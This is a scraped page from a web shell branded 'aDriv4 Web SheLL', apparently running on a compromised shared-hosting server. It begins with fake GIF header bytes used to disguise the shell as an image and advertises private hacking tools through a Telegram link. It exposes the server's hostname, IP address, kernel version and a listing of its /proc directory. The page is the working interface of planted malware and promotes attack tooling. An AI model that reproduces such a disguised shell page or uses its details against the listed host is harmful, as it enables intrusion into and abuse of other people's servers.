GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux server64.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
 LiteSpeed
 198.54.114.248
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2024-05-19 08:54:27
.. dir - root/root 0755 2024-05-19 08:32:21
2545003 dir - smilmoju/smilmoju 0555 2025-07-13 07:23:49
3692671 dir - smilmoju/smilmoju 0555 2025-07-13 07:22:43
3711209 dir - smilmoju/smilmoju 0555 2025-07-13 07:23:40
3717244 dir - smilmoju/smilmoju 0555 2025-07-13 07:24:05
3717246 dir - smilmoju/smilmoju 0555 2025-07-13 07:24:05
3717405 dir - smilmoju/smilmoju 0555 2025-07-13 07:24:05
acpi dir - root/root 0555 2024-05-19 12:56:04
bus dir - root/root 0555 2024-05-19 12:56:25
driver dir - root/root 0555 2025-07-13 07:24:07
fs dir - root/root 0555 2024-05-19 12:56:25
irq dir - root/root 0555 2024-05-19 12:56:09
kcare dir - root/root 0555 2025-07-13 07:24:07
lve dir - root/root 0555 2025-07-13 07:23:49
net link - smilmoju/smilmoju 0555 2025-07-13 07:24:08
scsi dir - root/root 0555 2024-05-19 12:56:25
self link - smilmoju/smilmoju 0555 2025-07-13 07:23:40
sys dir - root/root 0555 2024-05-19 08:55:57
sysvipc dir - root/root 0555 2025-07-13 07:24:07
thread-self link - smilmoju/smilmoju 0555 2025-07-13 07:24:08
tty dir - root/root 0555 2025-07-13 07:24:07
buddyinfo 0 B root/root 0444 2025-07-13 07:24:07
cgroups 0 B root/root 0444 2025-07-13 07:24:07
cmdline text/plain 0 B root/root 0444 2025-07-13 07:24:05
consoles 0 B root/root 0444 2025-07-13 07:24:07
cpuinfo text/plain 0 B root/root 0444 2025-07-13 07:24:07
crypto 0 B root/root 0444 2025-07-13 07:24:07
devices 0 B root/root 0444 2025-07-13 07:24:07
diskstats 0 B root/root 0444 2025-07-13 07:23:58
dma 0 B root/root 0444 2025-07-13 07:24:07
execdomains 0 B root/root 0444 2025-07-13 07:24:07
fb 0 B root/root 0444 2025-07-13 07:24:07
filesystems text/plain 0 B root/root 0444 2025-07-13 07:19:47
interrupts 0 B root/root 0444 2025-07-13 07:23:45
iomem 0 B root/root 0444 2025-07-13 07:24:07
ioports 0 B root/root 0444 2025-07-13 07:24:07
kallsyms 0 B root/root 0444 2024-05-19 12:56:25
kcore 128 TB root/root 0400 2024-05-19 12:56:04
key-users 0 B root/root 0444 2025-07-13 07:24:07
keys 0 B root/root 0444 2025-07-13 07:24:07
kmsg 0 B root/root 0400 2025-07-13 07:24:07
kpagecgroup 0 B root/root 0400 2025-07-13 07:24:07
kpagecount 0 B root/root 0400 2025-07-13 07:24:07
kpageflags 0 B root/root 0400 2025-07-13 07:24:07
loadavg text/plain 0 B root/root 0444 2025-07-13 07:24:02
locks 0 B root/root 0444 2025-07-13 07:24:07
mdstat 0 B root/root 0444 2025-07-13 07:24:07
meminfo text/plain 0 B root/root 0444 2025-07-13 07:20:05
misc 0 B root/root 0444 2025-07-13 07:24:07
modules 0 B root/root 0444 2025-07-13 07:24:07
mounts text/plain 0 B smilmoju/smilmoju 0444 2025-07-13 07:24:08
mtrr 0 B root/root 0644 2024-05-19 12:56:25
pagetypeinfo 0 B root/root 0400 2025-07-13 07:24:07
partitions 0 B root/root 0444 2025-07-13 07:24:07
sched_debug 0 B root/root 0444 2025-07-13 07:24:07
schedstat 0 B root/root 0444 2025-07-13 07:24:07
slabinfo 0 B root/root 0400 2025-07-13 07:24:07
softirqs 0 B root/root 0444 2025-07-13 07:24:07
stat text/plain 0 B root/root 0444 2025-07-13 07:20:04
swaps 0 B root/root 0444 2024-05-19 08:55:58
sysrq-trigger 0 B root/root 0200 2024-05-19 12:56:25
timer_list 0 B root/root 0400 2025-07-13 07:24:07
uptime text/plain 0 B root/root 0444 2025-07-13 07:21:10
version text/plain 0 B root/root 0444 2025-07-13 07:24:07
vmallocinfo 0 B root/root 0400 2025-07-13 07:24:07
vmstat 0 B root/root 0444 2025-07-13 07:23:58
zoneinfo 0 B root/root 0444 2025-07-13 07:24:07
© aDriv4